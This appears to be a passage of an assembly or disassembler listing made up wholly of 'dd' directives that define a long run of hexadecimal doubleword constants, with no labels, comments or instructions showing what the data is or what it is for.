dd 1E7F2FD6h, 0F6DEB594h, 4E47E9D8h, 0D34C9121h, 14903F6Dh
dd 7FDD6EC8h, 5DEA2D46h, 4A4A39D8h, 0BC06C180h, 89910548h
dd 0FA67E9D0h, 0F5EF3449h, 0E93B1E28h, 215FA000h, 4C26E9D8h
dd 5660BD3Ah, 2C6A2368h, 2552806h, 114A42CEh, 0F3C22960h
dd 8F8E93DDh, 73BB1771h, 0E2EFF629h, 94FF0A08h, 0B978BD35h
dd 312824Eh, 0D58454F8h, 0EF28ABFEh, 0D73D54E0h, 0EE4ED359h
dd 854E028Bh, 0DA8BBAE1h, 63060501h, 3B2D0A1Eh, 0F21602E9h
dd 56DAEB56h, 7BAECD5Ah, 0FA4B2FBDh, 0A73FAB39h, 2DBB4AC0h
dd 759C0239h, 385BA8DAh, 5809B345h, 317B56F1h, 2FCE8903h
dd 2482F124h, 5A6BC87Ch, 6D6D9556h, 0F37E8E8Bh, 0BC97BDFBh
dd 2B3AA157h, 0E91B3CFFh, 5275552Dh, 1A4BBFC4h, 88C9ABB5h
dd 0C19ADD01h, 0CC8A1D05h, 0BA3343FCh, 34C5F0Fh, 5C3F6457h
dd 9F235AAh, 85D15869h, 67457406h, 2A52000Ch, 0DD011DBCh
dd 70480BE9h, 1968C4F7h, 7BF1CDAAh, 74808DDDh, 4ACC08AAh
dd 0DD40FEE9h, 64C72C80h, 0B2E62C6Bh, 0D0F62290h, 51DBF600h
dd 3980D5B1h, 7BFE01C1h, 49D17435h, 0D01EBA99h, 514ACBEFh
dd 95539C55h, 0FD1D57B0h, 0A53CF197h, 58B299FFh, 0C4C5AC3Eh
dd 6CA4BB18h, 89651D9Bh, 74C98172h, 3A210259h, 26CE6E4h
dd 0E99A669Fh, 59DFCEACh, 28AE8BDDh, 3962525Eh, 908C4652h
dd 0B51F733Dh, 89EC6CCh, 9B05273Ah, 72BFA285h, 42099E10h
dd 0DEB85F62h, 5C814C50h, 0D6B4B87Fh, 4F68932Ch, 176EF625h
dd 9DF23FF6h, 0BA0FD035h, 0A316A2A2h, 88B62D60h, 49C237Bh
dd 0F36FC368h, 18101BB0h, 991AE837h, 29AA5C1Eh, 0EB495A2Fh
dd 88E915AEh, 23668C2h, 81604871h, 275569E9h, 3743632Ch
dd 0EA081795h, 8B6ABA8Dh, 40D727FEh, 128BBF91h, 9462F55h
dd 69D1227Bh, 0F9442E9Fh
dd 68033176h, 3F163F65h, 0D7BE914Ch, 64742B34h, 4BE5896h
dd 1249FD85h, 0CF0626FCh, 0E8346E3Dh, 4A203238h, 25122EABh
dd 9024DA35h, 486929F1h, 4A5E9E85h, 69B4435Ch, 0FF25BA7Ch
dd 0D3770832h, 0EB6B641Dh, 6A5964FDh, 0BB2DABB5h, 0CB26E83Bh
dd 816660DEh, 575B0EE7h, 0F7C11FC9h, 0E6D34845h, 297789F7h
dd 7E4F29D1h, 7461004Ah, 0CB810C11h, 0B8450203h, 4AD3F76Ch
dd 0EA39A004h, 0BE480D13h, 21E40BEBh, 89781EE0h, 55545D82h
dd 282AB260h, 0D678B7D1h, 17C3E126h, 656C01Dh, 15B74FBAh
dd 3359E3A7h, 5686A3EBh, 0BE47919Eh, 0D063440h, 38A0C14Eh
dd 8225DF2Eh, 45351D8Ah, 9E617F49h, 0C05938A3h, 0C71C90B9h
dd 5B6EFA21h, 7B8BB73Dh, 5181684Bh, 0BC6BEE88h, 0C9138443h
dd 271D3503h, 0C7D167FBh, 43206F93h, 9F04E846h, 64520C7Eh
dd 0E464F4Bh, 0DD005A17h, 5A1685Bh, 2FB0669Dh, 0DFC67E4Bh
dd 61C31924h, 5AE75AA5h, 4A20CE5Fh, 4A59CEEFh, 87272EF2h
dd 94563C7Fh, 6F6450D0h, 6C94C082h, 62AB2C53h, 0D681A31h
dd 0CAEBD141h, 0D7C00B57h, 0E9279BBEh, 0F6A5017Ah, 2E6E52D5h
dd 1C4B5C30h, 0DE93EB88h, 108436E9h, 4A978A7Ch, 621022E3h
dd 93B61654h, 0E11620Bh, 0B2EFAEBBh, 0BDE73E03h, 0F6A1F852h
dd 4A1CB8D6h, 5B4CB466h, 6C0F2D90h, 0C534C74Ch, 0DB908952h
dd 0B0FB87D7h, 0EF094468h, 56ED0145h, 825717A5h, 0A97D3037h
dd 0A698F4E2h, 0FAA0928h, 879A187Fh, 3FE6BD7Ah, 75382412h
dd 0B780DCC7h, 184CA5EBh, 125EF131h, 3628206Dh, 723C990Bh
dd 184DB008h, 4E542D26h, 41BBB919h, 141CA008h, 31E95339h
dd 5EF0EB02h, 8765EA2Fh, 8C3612BEh, 474114F0h, 0F14EC341h
dd 0EE1D6801h, 0CA000C8h, 3F0C52B3h, 3C6424B3h, 0F4120288h
dd 0FB9E9046h, 3C48AC4Fh, 0EBD94ABDh, 0E123A92Eh, 4781FD27h
dd 8DB7BEEAh, 505C3FAFh, 0AA347925h, 0A6DD957Ch, 9581B40Bh
dd 837C2B09h, 0EF7ABD02h, 3C8E8013h, 52F4FF1h, 0EE9F231h
dd 0CAED4015h, 0D2C6BDDh, 7D85DBA1h, 66A95FEDh, 9A5E8FC1h
dd 122F700Bh, 4D09489Fh, 28EB2E55h, 0F8C41753h, 7D2DA185h
dd 7B2BCD6Bh, 5E3BE5BDh, 4B2DC0CFh, 235AC25Dh, 712E2C4h
dd 8BAA0113h, 0F1285A81h, 0CE9C31h, 1D305AB8h, 0EF750D03h
dd 2552F300h, 58FE6EC8h, 5840B2Dh, 0D40F2BCAh, 0E2828909h
dd 0E6FF6C81h, 0BFE92F30h, 8356E662h, 23943702h, 32C0F7B1h
dd 8D4EE951h, 0B4D5C24Ch, 337613EEh, 599041Dh, 8858027Ch
dd 0E8264003h, 0A0BE8045h, 61930E48h, 8C4B9856h, 96608147h
dd 4D31DD1Ch, 0BF7286E9h, 0FA5BF17Ch, 0EA2CFE45h, 539D0BD3h
dd 44CFEFFCh, 0CFBA6703h, 0E483261Bh, 0C09C192Ah, 0DB041C64h
dd 2DAD000Dh, 48A95BAAh, 18170005h, 23DA6056h, 55725D63h
dd 27E5810Eh, 0D700121Dh, 0C93FE4C5h, 3CF5F878h, 0DD7F35E3h
dd 57F68418h, 0BC1BEFDh, 5153977Eh, 0FC0D9868h, 0E7FC9578h
dd 58357E58h, 0EA05C521h, 0FFED03FAh, 0EF40EBA0h, 98CC1FAh
dd 60400DA7h, 5925E942h, 276B9439h, 0DD9CD1F5h, 784E1DFCh
dd 0F4F520E8h, 7A9CF683h, 3DEDF525h, 41712C11h, 6CF53F44h
dd 4C9DBC2Eh, 78D889BBh, 0EABB0450h, 0C332480Ah, 65E47BDh
dd 0CD077BBDh, 605CF329h, 0A111C6E3h, 3A180460h, 0CF097971h
dd 2C6091FCh, 38CDE901h, 0F9F5C3C0h, 606BC060h, 58E70E45h
dd 0E9276805h, 330C41D7h, 86A7D3BEh, 39FA1972h, 6130BB2Dh
dd 0CF15743h, 0D69CF22Bh, 0EE01CDB9h, 0FEE9EF77h, 3137A64h
dd 5BA59FEFh, 2468D098h, 0C2067CC1h, 81513E4Bh, 55269D80h
dd 9BE5654h, 3F416FBh, 9A4FDAF5h, 2B9D0B11h, 248021F2h
dd 907CE955h, 8E62D8B4h, 97ECFA67h, 4D741260h, 0F1815C4Bh
dd 0BC6AD5F1h, 1987E6DFh, 1049B6E9h, 2D296031h, 444E5300h
dd 0E5C3543h, 4048007Dh, 2E104705h, 0E327E96Fh, 0FDFB2919h
dd 0A4214042h, 4878FF68h, 674B5E2Eh, 569392BCh, 0EE97EB0Bh
dd 0C206EFA3h, 2D9A49A6h, 486FF82Ah, 667C25D9h, 817CB7CAh
dd 0D358E74Fh, 64BBF2FFh, 0E6B1AAF7h, 0B552B82Eh, 5090CAFBh
dd 5195B394h, 0C152E592h, 2C5FE95Ch, 0E0BF400Ch, 0D32674FBh
dd 48962A98h, 0ED1C5218h, 0E05F823Bh, 251BB192h, 8F05C9FEh
dd 0AADE8166h, 0E887534Bh, 8CEF94BFh, 493D1E4Fh, 5F9AF309h
dd 0F4D4BD4Eh, 73F8ECBFh, 7803299Fh, 0ECF02F47h, 832EBAD2h
dd 1182F7C6h, 0FF25BC6Eh, 0FC680C01h, 0E7023426h, 0B68E6A4Bh
dd 3D67BA5Bh, 0BEA21314h, 80E14F73h, 0ED2693A6h, 4A275AE0h
dd 1CCA5550h, 2EE6097Dh, 42B177E3h, 7B59CD40h, 63988Dh
dd 0CF1AC2C5h, 0D480E977h, 0E597ACBAh, 0C7DBAF6Ah, 2449BD0Eh
dd 0C7C06676h, 5B48307Bh, 0CC05F05Bh, 0E8498260h, 171CD22Dh
dd 0A85D2F18h, 64F21691h, 5BF7F0C8h, 27F0D8D5h, 41702A0Bh
dd 0CBEBF121h, 0FFF04140h, 6208E925h, 0D59F577h, 70FE5166h
dd 0B42E194h, 91A6535Fh, 25D15A02h, 377A403Fh, 2F684122h
dd 0E921E225h, 76817991h, 381FE5BAh, 0B9136023h, 2002B024h
dd 21EBBF0Ch, 167B045Eh, 0FBEAD143h, 0E0531701h, 6B74810Dh
dd 319A0CB5h, 0E55B8BCAh, 77885040h, 5F6A2DFAh, 0D0A8AC7Fh
dd 1C1609B9h, 427DF48Ch, 18F9400Ah, 0EFE6B552h, 0B7F0649Fh
dd 73A5AFE7h, 0D0E984CAh, 48FCA790h, 2728583Ch, 501D56C0h
dd 719FA639h, 80268884h, 0AD5B027h, 4C79518h, 66D8B500h
dd 0BFFB050h, 28E5C580h, 0E3DE63FDh, 2B140F58h, 0E881B004h
dd 2A101E68h, 0F3F36FCDh, 2CF0F199h, 0F9EC77D2h, 6A02C64Eh
dd 6C1FFB68h, 8055FC7Bh, 0F679F281h, 0E1599724h, 0ACE4EA13h
dd 0DF4749E9h, 37875C1Bh, 32764BF2h, 6CA5D669h, 6C9E5D0Fh
dd 9C94B05Ch, 0FA5913A1h, 59E92038h, 5F13A881h, 128EBF5Dh
dd 1444065Ah, 0CA75DF59h, 0F32D5F79h, 4D947DB0h, 0EAE48A99h
dd 0A2B1FAD4h, 20A3A56Ah, 9C5F7C6Fh, 3151AAB1h, 0AC07436Ah
dd 0D854C40Eh, 4806EDA3h, 5975A053h, 7DF6BD0Eh, 30646152h
dd 0B8C17392h, 890226C6h, 0AA0B8417h, 0E0580011h, 0ED263627h
dd 0C3D099FDh, 0A60CC118h, 0B4778E54h, 81A287Ah, 4C140C0Ch
dd 6B3718A5h, 3B548628h, 5E75232Dh, 3C9440CFh, 0CDFE324Ch
dd 582CBF0Ch, 2211829h, 0E9EA367Bh, 19F50497h, 0CA287046h
dd 6516AE4Fh, 0EE9340A2h, 6206DC0Bh, 0E9B67DFEh, 553032B7h
dd 0CD09DA74h, 935322F5h, 599AFD2Ah, 466AF500h, 7ABF6506h
dd 233E0AF2h, 14B46D85h, 624B07C1h, 0CC50A8DEh, 6A5397h
dd 5D346850h, 584C57E4h, 5C6138Ah, 0B26E77EEh, 46D57BB5h
dd 2E587A1Bh, 60BE6737h, 1D2FAEB6h, 210DC1B5h, 4A33CB6Ah
dd 0FA6394BAh, 8AE1A8B8h, 7CA17DD6h, 0D0AE510Bh, 939F929h
dd 0F5F47321h, 0EA684A60h, 6086B640h, 34EF380Bh, 0CA9F6890h
dd 0E825DD1h, 5C02D322h, 1FD35452h, 6D6B402Ch, 6C44F935h
dd 8A497F7h, 0CC0A00BAh, 89DCF0D3h, 0BA21C741h, 3D2AFF25h
dd 5FAB2E77h, 31BF81F5h, 0EC6DA253h, 7AC09A9Dh, 0ED33C8B8h
dd 0C32924E1h, 5BD80535h, 0F08EC456h, 0D105F66Fh, 0C480CC86h
dd 4D636381h, 30596600h, 0DC58C63Ah, 2D3F3854h, 69B651C8h
dd 0FB3F7C25h, 41D6692Ch, 0A2C03FCAh, 2F109278h, 3DC7F331h
dd 395DC80Ch, 1D69966h, 2620CAF1h, 34E96E0Bh, 0C8020E05h
dd 9A428303h, 854D07A1h, 2D2FE118h, 0FDC903C0h, 480B3D30h
dd 0A3108E93h, 545616E3h
dd 0E96360AAh, 0A9C16D3Dh, 9B0FE7CDh, 5725DAE7h, 9E7D220Bh
dd 1AC887E4h, 3FC3351Dh, 2E5D4E0Ch, 5D61880Ah, 0C3304574h
dd 305ADEBAh, 7A4DC197h, 1B2D613Fh, 0C0403ECCh, 2F1E29EFh
dd 0FB48F80Eh, 46FE22Eh, 0BFEAE30Ah, 5CAE0382h, 0CC569C43h
dd 0E68CADF5h, 18E7C180h, 78535503h, 12257AFAh, 5E65E1D1h
dd 21760B7Fh, 0F1151A75h, 258E422Ch, 270BDA0Ah, 779B9A75h
dd 0FEFC99E6h, 0DCDD5D5Fh, 7840CD3Ah, 0A1E90DFBh, 0FD204541h
dd 17EA852h, 17688081h, 9E2AF9B7h, 2EE4052h, 815A3947h
dd 0FD3CA00h, 0FCE94588h, 2FBEBB53h, 0CB4EB0D5h, 40FE9859h
dd 32BD2952h, 317259ABh, 6E5D5408h, 13201700h, 25E94E8Bh
dd 53C94B15h, 28FF2F05h, 744C686Eh, 33EFD615h, 3625551Eh
dd 54C6614Fh, 0E64CE86Bh, 952CCB8Dh, 19BD1AA0h, 5D4FC71Bh
dd 5AF644F2h, 521CD990h, 0DEFCC82Eh, 0A0D7F6B2h, 4D043D6Fh
dd 9442E925h, 0DFAFA2BBh, 0A5725C8Bh, 0FC08D2BFh, 2DFC6FEEh
dd 0B5511082h, 743C0DC1h, 146F790h, 0F680C904h, 3685BFF5h
dd 4FAA2CAEh, 0F602F891h, 0D4B572FEh, 607B039Fh, 0B22C43F0h
dd 5413402Ah, 24E99602h, 0FDEEA57Ah, 0BBE8B484h, 5190288Eh
dd 40FA3A78h, 806DB6AFh, 0C018C7C6h, 2E0C04E6h, 5AF10930h
dd 6F8FA32Ch, 6559127Dh, 0A01EFA0Dh, 0D4F28043h, 4FB396E9h
dd 8012942Dh, 0B753FBBCh, 0BEB10D4Eh, 0D8B2Bh, 95274EBh
dd 9C8FE943h, 65B9278Dh, 0BA126A97h, 0B5CBE1C1h, 13B7CB48h
dd 135CF63h, 833D6D6Ch, 4F78300Bh, 1DF25910h, 0F745B406h
dd 2B0D0C54h, 3C2F616Dh, 656CEDD0h, 0BAF554F9h, 0A6AA7313h
dd 819E945Fh, 7C2857FBh, 3A0EC26Eh, 5E5F256Ah, 43687040h
dd 0A9222C4Ah, 0FC9EC352h, 0C7190512h, 0EA7FAAEh, 2D4E5610h
dd 68424821h, 0A97C4EE6h, 6468B780h, 97978157h, 27FE04D4h
dd 0E809A46Fh, 0FCBC4E82h, 0FA2FB8DCh, 7CF15FDAh, 0CD680B7Eh
dd 0B06EC636h, 411ACB92h, 0AF73F385h, 0E15B57CAh, 2DB443FAh
dd 0E94BD688h, 0D97D432Fh, 2ADD43DFh, 0E3B7EA84h, 954CC640h
dd 0C2D0594h, 0CBAF3A79h, 0C835F2F7h, 17F3B913h, 0B05E4A29h
dd 0A92542FAh, 0E62D71Ah, 0EAA8080Bh, 6FC125BEh, 51437005h
dd 292F077Eh, 0D2B8D6C2h, 1C016DC4h, 6843D511h, 437813BAh
dd 0A457BECBh, 0F3FE317Ah, 3C5D28B1h, 955AB920h, 7BBCA2FCh
dd 4009ED5Dh, 169F268Eh, 0EECB2513h, 45D54B48h, 926C6B3Dh
dd 0E2FB3E94h, 12B117D5h, 0A459494Bh, 335EA051h, 0F8840D0Eh
dd 0C17BBD13h, 6F55F479h, 0A83E2ECDh, 5B5F1631h, 0F31B8CFEh
dd 53AEE91Ah, 0C305750Fh, 6833D0BAh, 0E7A928B9h, 0EE2229Eh
dd 494384C7h, 0A04D7E29h, 345E5C08h, 12419E54h, 6E1C1h
dd 0EAB421EEh, 0CB4A09B2h, 0A3E039B8h, 77022770h, 2FDBBA52h
dd 23D540B9h, 4EBD80A0h, 4C875503h, 0D157F581h, 0F12B3B1Dh
dd 5E87BBDh, 0FEA24312h, 49821588h, 280731A9h, 0A5668E04h
dd 2ECCE15Bh, 2C641BF8h, 6A0EC89h, 1B8748DDh, 15CFA0Eh
dd 2114CF92h, 0A833E9D6h, 1725D15Dh, 6212FC52h, 0B8007B1Fh
dd 4EE616ABh, 0A4D0BB4Fh, 272910B9h, 0A0773575h, 0BD7014B6h
dd 0B249F068h, 28419756h, 1E33F64h, 0B2517901h, 0F8EB3118h
dd 469F0446h, 96B427A5h, 0EB881DD9h, 0F5C02767h, 0B17EC5D3h
dd 129A66BDh, 0F32303E9h, 0F0B01AA1h, 0EE587734h, 89DD549Fh
dd 0D54651EBh, 44276815h, 0B854281Eh, 0E578C230h, 901F2F6Bh
dd 0FD0C251Ch, 2D004B72h, 810D021Eh, 1F58EDE1h, 65492E48h
dd 595B6650h, 600327FEh, 86134F1h, 0EC4B00BFh, 27ABF786h
dd 5C6245E9h, 0F5AAB277h, 76BA61E0h, 202EE916h, 3F276CE6h
dd 0DB9780F8h, 0D82D40A4h, 664B8371h, 7400BF8h, 61519D5Bh
dd 0C341DD69h, 0C3122EA1h, 296883F0h, 9E8B057Ah, 6AD34051h
dd 49595DAAh, 0AB351690h, 17AE8B72h, 5052A933h, 1405F431h
dd 0C2013F19h, 2B5309C0h, 682C0B4Fh, 767E54E4h, 3DFA4593h
dd 30E37F55h, 8436F9D3h, 0AB10AB77h, 1603CB1Dh, 0E8C4AB72h
dd 0D75B080Bh, 0B743608h, 147263E8h, 0C1D78524h, 0B33F7980h
dd 0C17BBE2Ah, 0E9EE310Bh, 5E2B64FEh, 86E0516h, 0C8011D02h
dd 23078A2Dh, 83BEFD25h, 8F1FDA0h, 302D55Ch, 9E68F7EAh
dd 5A53E14Fh, 0F7C1FC72h, 0CBDA31D3h, 613A0950h, 2F820B16h
dd 0A05D08FCh, 6A452681h, 0F51CADBBh, 7BFD719Ch, 0E90BA8F6h
dd 2671E147h, 6ADE6805h, 49C3CE44h, 1C1DE852h, 0D52D16BEh
dd 15E12DB3h, 0EBC150BDh, 54582116h, 0F96016B1h, 27CBCBFEh
dd 5E12DF77h, 0FDE5025Fh, 5DBB0076h, 0BEA07423h, 0E09D5AD3h
dd 48FF3F9Eh, 890E428h, 4E41A64Eh, 0ADF32381h, 8280AA04h
dd 98DA3096h, 0A84F4F69h, 4E94F7D2h, 28C5B70Ah, 9CEF4B61h
dd 0D02D680Eh, 5068DC2Eh, 434F72E9h, 5922F30h, 0ED024C57h
dd 0C2498232h, 0FD9CCA55h, 0B03899FBh, 59C52569h, 0E21F4C4Ah
dd 0EF49CB12h, 0DF0C7732h, 51509DF1h, 70680455h, 0C1674B47h
dd 0A56CED27h, 0F841F70Fh, 149731CDh, 951BB2DCh, 0E9500460h
dd 0EA125675h, 0DA1019E2h, 55BD4F36h, 1709E603h, 0DBF12B66h
dd 78BC7BB3h, 364BB8A8h, 0D9B14932h, 85572D07h, 51035E01h
dd 85099268h, 9346A3AAh, 47B5FCFCh, 99E085F1h, 8B82D45Ch
dd 0C426C23Fh, 0A2C3209Ch, 73B85D4Fh, 6732AAF4h, 30A9C031h
dd 36592DE9h, 1FA4A259h, 0D508E809h, 8ED9AEBBh, 32712363h
dd 25394166h, 0C3E8D45Eh, 1309E1A3h, 0F30ACE68h, 571703DAh
dd 0B86350Dh, 0C40C0090h, 0FC146A03h, 0E0612C22h, 0B7E102A7h
dd 17C1C94Bh, 0FD006A25h, 6E141DBAh, 0A1A590A9h, 0C9729F82h
dd 342CD73Ch, 0E5C185CEh, 7A27C203h, 3D78DBFEh, 5B32BF5Dh
dd 62EB6480h, 98C01841h, 227C3EC7h, 0CA8AB849h, 0A5B3E250h
dd 16FB34FFh, 5621AFE9h, 2063A558h, 7F4F2635h, 591B0527h
dd 0C00CB0B0h, 7C1CEE79h, 82C71305h, 23310D47h, 0BF3A1A03h
dd 3504B500h, 0B0E94E74h, 0B84A0B63h, 0AC43A63Bh, 226C38D1h
dd 0AD7E05BDh, 4DBE0D3Dh, 0DA1D1A95h, 6E0279FEh, 0F67B1E20h
dd 2050347h, 0EFC52E2Dh, 2507E310h, 5012D65Eh, 0F64BB6E9h
dd 422299AEh, 0CF8E71Ch, 5AF38805h, 5882B151h, 5FA4D852h
dd 2231FB5Bh, 0E67B7654h, 49D7391Dh, 92E9B08Dh, 0BB5EB7A7h
dd 659571A7h, 0C0B78B52h, 0E9C8AF0Fh, 8BBE5509h, 0A969C23Eh
dd 54A942F5h, 0A3DE2D65h, 1A42C58h, 0B252D828h, 7C83E964h
dd 0FB5A3Ah, 6026CF35h, 0F7EC3C5Dh, 68E41F04h, 0BDEB014Bh
dd 8EB58482h, 502EF7AFh, 274EB89Ah, 0C5D009E2h, 0FB205D05h
dd 0FDE1EE58h, 405B17Bh, 0FD31330Bh, 5B5B38BEh, 0D55203FBh
dd 0A0BD1F6h, 4049E967h, 170FB858h, 804CE10Eh, 0EC85A501h
dd 0D9B19C5Bh, 7C77683h, 0FEC80580h, 8FBF41E9h, 27F8D3B4h
dd 5124348Bh, 0A75FB85Ch, 0FDEA02F4h, 518AD355h, 5B09DD42h
dd 9F5056E9h, 983A1895h, 0B2719760h, 4B33F6E3h, 5274E430h
dd 46FEE090h, 20059125h, 746AF1E3h, 7A89E619h, 0B16127CAh
dd 92A3137Fh, 0F06C46E3h, 6EA04C4Eh, 0BA036494h, 46EC6EDDh
dd 0A76097F1h, 903C583Dh, 11051839h, 0F2880C1Ah, 5AB7E3F0h
dd 44664D92h, 0DBB0500Fh, 0D6361EF7h, 5F6D80D8h, 4D4BB668h
dd 760415B3h, 83473A49h, 34FF8C4Bh, 84E8BAB8h, 0D042E984h
dd 4E36B9D3h, 2548533Dh, 2726DCE4h, 0E8A9E5D5h, 0BB324BA5h
dd 78B010D2h, 502CFD40h
dd 400F0ACAh, 0E30481C6h, 0E887B93h, 1B2929C0h, 9EFA4978h
dd 0A622B15Fh, 410C1118h, 98210C4Ah, 0E97F09F0h, 0C6F782CAh
dd 0A5964904h, 4FD99B4Fh, 17E17CF8h, 11B97B87h, 0B19FD84Ah
dd 0C605F79h, 266F6052h, 0CF4B01Ch, 7D296AC4h, 5F16310Ch
dd 0CAEB3343h, 2BE98F7Dh, 68841820h, 0F3554EB9h, 310230A9h
dd 0E7CF2959h, 40797B37h, 0C33780ECh, 0BCB3AD4Ch, 5A162561h
dd 9F20ABDAh, 0CE283B84h, 0EDC99497h, 0CEF85B63h, 5BE5600h
dd 0E9792C46h, 64C89825h, 0C07EA3C9h, 9F149942h, 7CBEB200h
dd 180CAC12h, 0F646EED1h, 66750252h, 4E3CE914h, 20087975h
dd 92814AC6h, 0E5D4C5F7h, 95A1E9F0h, 80053204h, 597E8CBAh
dd 1F00D196h, 6813EB17h, 31194EB0h, 6F520C64h, 0EB10668Ah
dd 0B5BE2406h, 75324C6Fh, 21F31DC6h, 12566D5h, 151E5588h
dd 8788EE01h, 4291E08h, 0EE5705E9h, 4404B056h, 0F0ABDD8Fh
dd 3F02C75Bh, 0E91DE06Dh, 718D693h, 825AF580h, 0FBED7E12h
dd 15483390h, 5776DD20h, 0F280065Bh, 2D1008BEh, 745945BAh
dd 7037813Bh, 319EE966h, 6DEAC781h, 3A41F349h, 87D10BEh
dd 0B278552h, 0C65EDA86h, 4E276A73h, 48807D2Dh, 0ACE9D001h
dd 0D5DD0B97h, 0A53FF965h, 0BBC2008Ch, 72BD5217h, 9C460572h
dd 0AD29F19Bh, 1E9D043Dh, 0C1ABC07Eh, 71EF016Fh, 0D44C35F3h
dd 289C314Ch, 0BF20BD8Ch, 0F8D128EEh, 0F18919AEh, 3F821C5Eh
dd 8A3113CDh, 0BBB1162Fh, 9D9F5761h, 8681684h, 93FAA630h
dd 4AE974CCh, 3B9FF1FEh, 0FB2D88A6h, 68AFD009h, 0E714810Ch
dd 98DD8880h, 9CE2978Fh, 52DCFF7h, 560F3C68h, 1BC40046h
dd 0BD4D0B29h, 0FC0B196Bh, 0F5562FE4h, 76FAD7C9h, 9230B825h
dd 0D9545500h, 0F14D5442h, 205FBDC1h, 113BD29Ch, 0A70C666Eh
dd 0F58B8334h, 80B4C42h, 570779DCh, 0E5C069ACh, 506B7DEAh
dd 13A89721h, 1244E8E6h, 0EFF5FAB7h, 1480C7C0h, 8C5864EFh
dd 792A8A3Fh, 7C5342C7h, 1BE235Dh, 2843E281h, 0AF684B6Fh
dd 0CD3F213h, 5A8EEEDEh, 207F398h, 6817417Eh, 0E3980664h
dd 0C8B44A5Fh, 0E70EC535h, 0C30D297Dh, 0B20533F5h, 0E99C8123h
dd 0D32B3F16h, 0CCE8EA5Bh, 0C24F896Eh, 0F26DFF22h, 9E7A9D5Eh
dd 8CF7829Fh, 0C2A6F6FCh, 0AC980E07h, 21442EE9h, 22C0AC3h
dd 94A6362Ah, 0A05A08EBh, 426A0F6Dh, 306482Bh, 7016925Ch
dd 9CFD9737h, 0D1992F6Ah, 6809F871h, 0A5F1AFF2h, 0B2EA85A6h
dd 2FB31A4Ah, 0C299730Eh, 51F0EF31h, 94B0F85Bh, 38986044h
dd 0A97F682Dh, 12ED9DA0h, 0C54B2A25h, 5BE98553h, 0DA55D83Ch
dd 5BDB940h, 52712F43h, 88BB0929h, 56772642h, 0E0559414h
dd 541689D0h, 0A92D16Ah, 0FB1B34DBh, 38701D01h, 11685055h
dd 0FD7FB6D9h, 0B5944CFEh, 0FD48290Bh, 994F71C4h, 1E939C4h
dd 80B3BEF5h, 0D45A5EC9h, 88EB664Ah, 51BFEBD6h, 0FC44125Dh
dd 0F4DA4DFFh, 5A73ABA9h, 8E7EC1DDh, 589E88E0h, 0E60F4905h
dd 89123D08h, 5E3B7E1Eh, 8BD8BC0h, 724D2E46h, 0B792BEF4h
dd 7704B98Ch, 0A84504Fh, 0CEF52CFAh, 0B19A1058h, 33819F5Eh
dd 0CF5DD2F5h, 4DE4604Fh, 0F647782h, 2D1D7097h, 325FF49Bh
dd 9372D73Fh, 47B86398h, 0A8685909h, 927D594Ch, 7EA31C11h
dd 0F10BB840h, 15B562h, 7D758B50h, 0C650B574h, 55D8F707h
dd 6DE16856h, 293F4164h, 1AB46B38h, 0AB28516Fh, 16701920h
dd 0EA62F540h, 68FD2A41h, 0C3784BF6h, 0EBE17518h, 6409E0F3h
dd 84F70DADh, 0B081E333h, 0FA048D94h, 90C57504h, 5CCBAFF9h
dd 0F946DD29h, 7E4DF198h, 610B8446h, 501F6802h, 0C71AB3A2h
dd 27A33C7Fh, 663A3BA5h, 94AEA62h, 116B04DCh, 0E91101F0h
dd 0DD073F55h, 0FC24B5Bh, 62AE7C04h, 0BD002EDEh, 7A0E22ECh
dd 0EAC22C5Dh, 0C9DA9DDBh, 6C2B581Ch, 5057A7Eh, 0C0C26923h
dd 77F8EAB7h, 7AF16F5Eh, 0B9D6846Eh, 1E3D234h, 2767E91Ah
dd 0C8E50482h, 425B59FFh, 59F7A771h, 0B9516057h, 8B3E1ACFh
dd 0B7F10239h, 0DD4F6A73h, 8C0493DAh, 29891E96h, 0C6C0B9AAh
dd 659328Fh, 0C36AD3BAh, 0B863FA36h, 8188C987h, 99306D68h
dd 93CE276Ah, 500C1E5Ah, 867727E9h, 0F3DCFB88h, 955FACEDh
dd 68F4A602h, 6C8235D1h, 7D3A203Ch, 704869C1h, 52337F2Bh
dd 0D3E61490h, 0F1289B81h, 902E4A62h, 0C6A775Fh, 0F029BD12h
dd 298AD211h, 5625FABAh, 0CD554956h, 8392B25Ch, 6813C2F0h
dd 0E98C3F25h, 0CA6F0561h, 98FA3151h, 89B65F3Ah, 90505D54h
dd 5B71B892h, 0AC811308h, 7A630BB6h, 68785156h, 0E97040ACh
dd 0BEA52260h, 5B8D7D55h, 53E98027h, 62E8E6BBh, 0DE31070Ch
dd 1406185Bh, 78EAE94Eh, 27BEF602h, 0ED602219h, 0D02F213Ah
dd 68F86115h, 7F762CF5h, 0E9180222h, 0B076E85Dh, 818858CDh
dd 0FBC2D112h, 0C15F01DCh, 0E1210E88h, 73022F0Dh, 0E00CFE7Dh
dd 5DEF513h, 6AE91B9Fh, 0E28DFA73h, 12989C60h, 0AE3ADC6Dh
dd 27FD9B01h, 660150C2h, 0B074CE3Ch, 0D9426581h, 132E5B70h
dd 9278FE1Ah, 0BE3C40C1h, 402DD406h, 0E7EE29E2h, 4C38B27Fh
dd 0DD8E6B59h, 1245865h, 0F1CC4A3Dh, 12561FE6h, 0F79E496Ah
dd 0F36056FCh, 2751D641h, 2DE80107h, 0AD276857h, 58807466h
dd 674DF6E9h, 96DD3BD2h, 75AE5740h, 6CBF80E9h, 0D0B771Eh
dd 7803E0C1h, 824EF8BFh, 0B3C9E407h, 0DA4C899Ah, 0BDE982C5h
dd 8B9465DDh, 0E9DDA41Ah, 2F113CCDh, 0D2623A2Bh, 0F21BDD37h
dd 6F0464FBh, 92595DE1h, 0B20581ACh, 0BBF97D67h, 875A5B04h
dd 30D72C03h, 31FF82FCh, 880FB571h, 0E04E4BD5h, 0D3F62Ch
dd 28FDB450h, 0EB8058E3h, 0AB82F94Bh, 126B7486h, 0BA7FA5Fh
dd 0E983B994h, 0B5274692h, 282359E6h, 7674052Dh, 444D5164h
dd 0A6D9C4B4h, 0DB5B2D50h, 0BA60862h, 4F0CC728h, 0C730E07h
dd 9A1C1306h, 5C160821h, 1E82B034h, 13087432h, 0C669F25Dh
dd 0B52E2A7Fh, 4C402FEh, 0FA2A6F44h, 57D96D31h, 0DEC02E68h
dd 0E914505Fh, 2AD6F8B0h, 0E9746CBAh, 0A01D2C25h, 3950C8CDh
dd 81089A36h, 0B2200D88h, 5CC1B054h, 5C81FAACh, 0EC3E2063h
dd 0BA800CE7h, 232A0022h, 98CA8130h, 3D0B5A21h, 0F454DFE9h
dd 8D99BBA0h, 6EE893A2h, 45C92CA1h, 0F991C004h, 214C5107h
